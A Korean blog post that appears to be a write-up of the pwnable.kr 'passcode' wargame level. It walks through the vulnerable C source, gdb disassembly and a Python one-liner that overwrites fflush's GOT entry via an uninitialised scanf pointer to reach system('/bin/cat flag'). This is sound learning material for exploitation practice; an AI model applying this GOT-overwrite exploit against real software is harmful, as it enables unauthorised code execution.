본문 바로가기
wargame/pwnable.kr

[포너블] pwnable.kr 5 - passcode

by 아메리카노와떡볶이 2022. 2. 7.
728x90
pwnable.kr 5 - passcode

passcode write up 입니다.

 

passcode@pwnable:~$ cat passcode.c
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
exit(0);
        }
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

코드를 살펴보면 main, welcome ,login 세개의 함수가 존재한다.

welcome 함수에서 이름을 입력받고

login 함수에서는 패스워드를 입력받는데, scanf 를 살펴보면 passcode1,2에 & 가 빠져있다.

 

즉 사용자가 입력하면 passcode1,2에 저장되는 것이 아니라 passcode1,2 변수의 값에 있는 주소로 가서 저장한다는 것이다.

 

당연히 passcode1,2는 초기화되지않았으므로 쓰레기값이 들어가게되고 scanf 함수는 동작할수가없다.

passcode@pwnable:~$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : name
Welcome name!
enter passcode1 : 338150
Segmentation fault (core dumped)

내가 이렇게 passcode1에 338150이라는 입력을 주면 그 값이 passcode1 변수에 저장되는 것이 아니라

passcode1이 가지고있는 임의의 쓰레기값 ex) 0x12345678 의 주소에 내가 입력한 338150이 저장되는 것이다.

 

당연히 이 주소는 메모리에 존재하지않는 주소이기때문에 segmentation fault가 난다.

 

코드만봐서는 별 소득이없고 gdb로 함수 하나씩 까봐야할거같다.

(gdb) disas main
Dump of assembler code for function main:
   0x08048665 <+0>: push   ebp
   0x08048666 <+1>: mov    ebp,esp
   0x08048668 <+3>: and    esp,0xfffffff0
   0x0804866b <+6>: sub    esp,0x10
   0x0804866e <+9>: mov    DWORD PTR [esp],0x80487f0
   0x08048675 <+16>: call   0x8048450 <puts@plt>
   0x0804867a <+21>: call   0x8048609 <welcome>
   0x0804867f <+26>: call   0x8048564 <login>
   0x08048684 <+31>: mov    DWORD PTR [esp],0x8048818
   0x0804868b <+38>: call   0x8048450 <puts@plt>
   0x08048690 <+43>: mov    eax,0x0
   0x08048695 <+48>: leave  
   0x08048696 <+49>: ret

(gdb) disas welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>: push   ebp
   0x0804860a <+1>: mov    ebp,esp
   0x0804860c <+3>: sub    esp,0x88
   0x08048612 <+9>: mov    eax,gs:0x14
   0x08048618 <+15>: mov    DWORD PTR [ebp-0xc],eax
   0x0804861b <+18>: xor    eax,eax
   0x0804861d <+20>: mov    eax,0x80487cb
   0x08048622 <+25>: mov    DWORD PTR [esp],eax
   0x08048625 <+28>: call   0x8048420 <printf@plt>
   0x0804862a <+33>: mov    eax,0x80487dd
   0x0804862f <+38>: lea    edx,[ebp-0x70]
   0x08048632 <+41>: mov    DWORD PTR [esp+0x4],edx
   0x08048636 <+45>: mov    DWORD PTR [esp],eax
   0x08048639 <+48>: call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>: mov    eax,0x80487e3
   0x08048643 <+58>: lea    edx,[ebp-0x70]
   0x08048646 <+61>: mov    DWORD PTR [esp+0x4],edx
   0x0804864a <+65>: mov    DWORD PTR [esp],eax
   0x0804864d <+68>: call   0x8048420 <printf@plt>
   0x08048652 <+73>: mov    eax,DWORD PTR [ebp-0xc]
   0x08048655 <+76>: xor    eax,DWORD PTR gs:0x14
   0x0804865c <+83>: je     0x8048663 <welcome+90>
   0x0804865e <+85>: call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>: leave  
   0x08048664 <+91>: ret

(gdb) disas login
Dump of assembler code for function login:
   0x08048564 <+0>: push   ebp
   0x08048565 <+1>: mov    ebp,esp
   0x08048567 <+3>: sub    esp,0x28
   0x0804856a <+6>: mov    eax,0x8048770
   0x0804856f <+11>: mov    DWORD PTR [esp],eax
   0x08048572 <+14>: call   0x8048420 <printf@plt>
   0x08048577 <+19>: mov    eax,0x8048783
   0x0804857c <+24>: mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>: mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>: mov    DWORD PTR [esp],eax
   0x08048586 <+34>: call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>: mov    eax,ds:0x804a02c
   0x08048590 <+44>: mov    DWORD PTR [esp],eax
   0x08048593 <+47>: call   0x8048430 <fflush@plt>
   0x08048598 <+52>: mov    eax,0x8048786
   0x0804859d <+57>: mov    DWORD PTR [esp],eax
   0x080485a0 <+60>: call   0x8048420 <printf@plt>
   0x080485a5 <+65>: mov    eax,0x8048783
   0x080485aa <+70>: mov    edx,DWORD PTR [ebp-0xc]
   0x080485ad <+73>: mov    DWORD PTR [esp+0x4],edx
   0x080485b1 <+77>: mov    DWORD PTR [esp],eax
   0x080485b4 <+80>: call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>: mov    DWORD PTR [esp],0x8048799
   0x080485c0 <+92>: call   0x8048450 <puts@plt>
   0x080485c5 <+97>: cmp    DWORD PTR [ebp-0x10],0x528e6
   0x080485cc <+104>: jne    0x80485f1 <login+141>
   0x080485ce <+106>: cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x080485d5 <+113>: jne    0x80485f1 <login+141>
   0x080485d7 <+115>: mov    DWORD PTR [esp],0x80487a5
   0x080485de <+122>: call   0x8048450 <puts@plt>
   0x080485e3 <+127>: mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>: call   0x8048460 <system@plt>
   0x080485ef <+139>: leave  
   0x080485f0 <+140>: ret    
   0x080485f1 <+141>: mov    DWORD PTR [esp],0x80487bd
   0x080485f8 <+148>: call   0x8048450 <puts@plt>
   0x080485fd <+153>: mov    DWORD PTR [esp],0x0
   0x08048604 <+160>: call   0x8048480 <exit@plt>

 

보면서도 별 특이한점을 못느껴서 각 함수가 호출될 때 스택을 한번 그려봤는데 힌트가 될만한 점을 찾았다.

 

welcome을 호출했을때 ebp-112 에서 ebp-12 까지를 name의 버퍼로 사용하고 있다.

즉 여기는 내가 입력할 수 있는 공간이다.

 

근데 login함수를 호출했을때 스택을 보면 passcode1이 ebp-16 에서 ebp-12 를 쓰고 있다. 

즉 welcome함수에서 100바이트의 입력 중 마지막 4바이트는 passcode1 의 값이된다

그럼 passcode1에 어떤값을 넣어야할까?

로그인함수를 다시 살펴보자

passcode1이 가지는 값에 우리가 입력한 값을 넣을 수 있다.  따라서 passcode1 은 주소가 되어야한다.

passcode1에 넣을 주소는 바로 fflush의 got 이다.

어떤 함수가 call되면 plt를 호출하고 그 함수의 got로 점프하게 된다.

따라서 passcode1에 fflush함수의 got 주소를 쓰고 거기에 적혀져있는 값을 내가 원하는 주소로 바꿀 것이다.

 

PLT와 GOT에 대해서는 아래의 글을 참고

https://man-25-1.tistory.com/192?category=1050579 

 

C컴파일 과정과 PLT와 GOT

 

man-25-1.tistory.com

 

아까 login 함수를 disassemble 한 것을 다시 살펴보면 cmp 부터 아래의 if문 코드라는것을 알수있다.

   0x080485c5 <+97>: cmp    DWORD PTR [ebp-0x10],0x528e6
   0x080485cc <+104>: jne    0x80485f1 <login+141>
   0x080485ce <+106>: cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x080485d5 <+113>: jne    0x80485f1 <login+141>
   0x080485d7 <+115>: mov    DWORD PTR [esp],0x80487a5
   0x080485de <+122>: call   0x8048450 <puts@plt>
   0x080485e3 <+127>: mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>: call   0x8048460 <system@plt>

"""
if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
"""

우리가 원하는것은 system("/bin/cat flag"); 이므로

0x080485e3으로 주소를 넘겨주면 된다.

 

여기까지 내용을 정리하면 다음과 같다.

 

1. welcome 함수의 name과 login 함수의 passcode1에서 겹치는 4바이트가 존재한다.

2. 따라서 name에 마지막 4바이트는 passcode1 의 값으로 입력할 수 있다.

3. passcode1에 fflush의 got를 넣는다

4. login 함수에서 scanf 를 통해 fflush의 got에 기존의 fflush 실행코드 주소 대신 0x080485e3 을 넣는다

 

 

익스

passcode@pwnable:~$ (python -c 'print "A" * 96 + "\x04\xa0\x04\x08"'; cat)|./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�!
134514147
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)

134514147 은 0x080485e3의 10진수이다. scanf를 통해 값을 받으므로 10진수 값으로 입력해야한다

 

 

+알게된 것

1. 스택영역이 겹칠때 공격 포인트가 될 수 있다.

2. got를 덮을때 덮고자하는 함수가 프로그램내에 존재하면 그 함수의 주소를 찾아주면 쉽다.

728x90

'wargame > pwnable.kr' 카테고리의 다른 글

[포너블] pwnable.kr 7 - input  (0) 2022.02.08
[포너블] pwnable.kr 6 - random  (0) 2022.02.07
[포너블] pwnable.kr 4 - flag  (0) 2022.02.07
[포너블] pwnable.kr 3 - bof  (0) 2022.02.06
[포너블] pwnable.kr 2 - collision  (0) 2022.02.06

댓글